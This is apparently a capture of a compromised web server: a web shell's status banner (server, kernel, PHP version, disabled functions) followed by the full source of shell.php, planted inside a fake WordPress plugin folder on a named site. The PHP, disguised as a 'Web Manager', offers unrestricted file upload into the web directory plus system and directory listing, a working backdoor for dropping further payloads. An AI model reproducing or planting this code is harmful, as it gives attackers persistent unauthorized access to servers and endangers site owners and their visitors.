HEX
Server: nginx/1.18.0
System: Linux iZj6c1ieg2jrpk1z5tzi19Z 6.3.9-1.el7.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 21 22:18:40 EDT 2023 x86_64
User: www (1001)
PHP: 8.2.4
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.cytocare.cn/wp-content/plugins/wp_helper_rrfhp/shell.php
<?php
echo '<title>Web Manager</title>';
echo '<style>body{background:#222;color:#e8e8e8;font-family:monospace;padding:20px;}</style>';
echo '<h2>System Information</h2>';
echo '<pre>'.php_uname().'</pre>';
echo '<hr>';
echo '<h2>File Upload</h2>';
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="f" style="background:#333;color:#fff;padding:5px;">';
echo '<input type="submit" value="Upload" style="background:#555;color:#fff;padding:5px;margin-left:10px;cursor:pointer;">';
echo '</form>';
if(isset($_FILES['f']) && $_FILES['f']['name']){
    $target = basename($_FILES['f']['name']);
    if(move_uploaded_file($_FILES['f']['tmp_name'], $target)){
        echo '<div style="background:#2ecc71;color:#fff;padding:10px;margin-top:10px;">Upload Success: <a href="'.$target.'" style="color:#fff;">'.$target.'</a></div>';
    }else{
        echo '<div style="background:#e74c3c;color:#fff;padding:10px;margin-top:10px;">Upload Failed</div>';
    }
}
echo '<h2>Directory Contents</h2>';
echo '<div style="background:#333;padding:10px;overflow:auto;max-height:300px;">';
 $files = scandir('.');
foreach($files as $file){
    $color = is_dir($file) ? "#3498db" : "#e8e8e8";
    echo '<div style="padding:3px;"><span style="color:'.$color.';">'.$file.'</span> - '.filesize($file).' bytes</div>';
}
echo '</div>';
?>